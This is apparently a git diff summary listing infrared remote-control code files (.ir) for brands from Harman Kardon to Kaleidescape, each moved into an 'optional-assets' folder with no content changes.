.../_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir | 0 .../_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir | 0 .../_CSV-IRDB_/Harman Kardon/iPod/130,114.ir | 0 .../_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir | 0 .../_CSV-IRDB_/Harman Video/Video Projector/7,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir | 0 .../_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Herma/Dipper/5,-1.ir | 0 .../_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir | 0 .../_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir | 0 .../_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir | 0 .../_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir | 0 .../_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir | 0 .../_CSV-IRDB_/Hirschmann/Satellite/32,255.ir | 0 .../_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/12,251.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/184,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/96,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/97,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Display/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/LCD/86,171.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/144,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/96,158.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Plasma/80,173.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/12,251.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/80,143.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/80,173.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/96,-1.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/40,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/44,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/5,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/83,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/96,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/96,158.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/97,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/97,159.ir | 0 .../_CSV-IRDB_/Hitachi/Video Projector/135,69.ir | 0 .../_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir | 0 .../_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir | 0 .../_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir | 0 .../_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir | 0 .../_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/12,251.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/136,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/60,178.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/71,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DVR/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/DVR/133,48.ir | 0 .../_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir | 0 .../_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/12,251.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/136,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/60,178.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/TiVo/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir | 0 .../_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/VCR/96,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/VCR/97,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/Satellite/0,17.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/Satellite/0,23.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/Satellite/0,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir | 0 .../_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir | 0 .../_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir | 0 .../_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir | 0 .../_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir | 0 .../_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir | 0 .../_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir | 0 .../_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir | 0 .../_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir | 0 .../_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir | 0 .../_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir | 0 .../_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir | 0 .../_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir | 0 .../_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir | 0 .../_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir | 0 .../_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir | 0 .../_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/InFocus/Plasma/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/InFocus/Projector/135,78.ir | 0 .../_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir | 0 .../_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir | 0 .../_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir | 0 .../_CSV-IRDB_/InFocus/Video Projector/1,-1.ir | 0 .../_CSV-IRDB_/InFocus/Video Projector/123,2.ir | 0 .../_CSV-IRDB_/InFocus/Video Projector/131,85.ir | 0 .../_CSV-IRDB_/InFocus/Video Projector/135,78.ir | 0 .../_CSV-IRDB_/InFocus/Video Projector/15,-1.ir | 0 .../_CSV-IRDB_/InFocus/Video Projector/2,1.ir | 0 .../_CSV-IRDB_/InFocus/Video Projector/78,135.ir | 0 .../_CSV-IRDB_/InFocus/Video Projector/80,79.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir | 0 .../_CSV-IRDB_/Insignia/DVD Player/135,34.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Insignia/TV/134,5.ir | 0 .../_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Amplifier/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Amplifier/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/CD Player/210,44.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/DVD Player/210,31.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/DVD Player/210,43.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/DVD Player/69,181.ir | 0 .../_CSV-IRDB_/Integra/Digital Audio/210,3.ir | 0 .../_CSV-IRDB_/Integra/Digital Audio/210,4.ir | 0 .../_CSV-IRDB_/Integra/Digital Audio/210,9.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/HD DVD/69,181.ir | 0 .../_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir | 0 .../_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Media PC/4,15.ir | 0 .../_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir | 0 .../_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir | 0 .../_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir | 0 .../_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir | 0 .../_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir | 0 .../_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,108.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,17.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,172.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,18.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,19.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,2.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,20.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,21.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,22.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,23.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,24.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,25.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,30.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,43.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Tuner/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/Tuner/210,2.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/iPod/210,108.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/iPod/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/iPod/210,172.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Integra/iPod/210,2.ir | 0 .../_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir | 0 .../_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Intervideo/VCR/49,-1.ir | 0 .../_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir | 0 .../_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JBL/Receiver/64,47.ir | 0 .../_CSV-IRDB_/JBL/Surround Processor/130,11.ir | 0 .../_CSV-IRDB_/JBL/Surround Processor/132,66.ir | 0 .../_CSV-IRDB_/JBL/Surround Processor/28,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JENSEN/VCR/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/CD Player/179,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/CD Player/179,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/CD Player/34,33.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/CD Player/34,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Camcorder/211,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Camcorder/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/D-VHS/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/DVD Player/179,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/DVD Player/239,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/DVD Player/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir | 0 .../_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir | 0 .../_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir | 0 .../_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir | 0 .../_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Karaoke/179,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Karaoke/191,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Karaoke/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD TV/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD/15,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD/35,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/131,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/159,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/163,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/175,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/179,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/31,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Monitor/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Monitor/67,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Plasma/31,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Projector/115,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/121,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/131,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/147,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/159,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/163,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/175,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/179,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/191,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/239,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/34,84.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/83,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/S-VHS/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Satellite/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Satellite/16,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Satellite/24,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Satellite/8,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Switcher/243,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/TV/15,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/TV/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/TV/31,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/TV/67,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/131,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/147,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/163,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/179,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir | 0 .../_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/0,14.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/1,14.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/131,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/163,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/179,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/5,1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/64,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/67,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/8,14.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/80,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/83,-1.ir | 0 .../_CSV-IRDB_/JVC/Video Projector/115,-1.ir | 0 .../_CSV-IRDB_/JVC/Video Projector/131,85.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir | 0 .../_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir | 0 .../_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir | 0 .../_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir | 0 .../_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir | 0 .../_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir | 0 .../_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir | 0 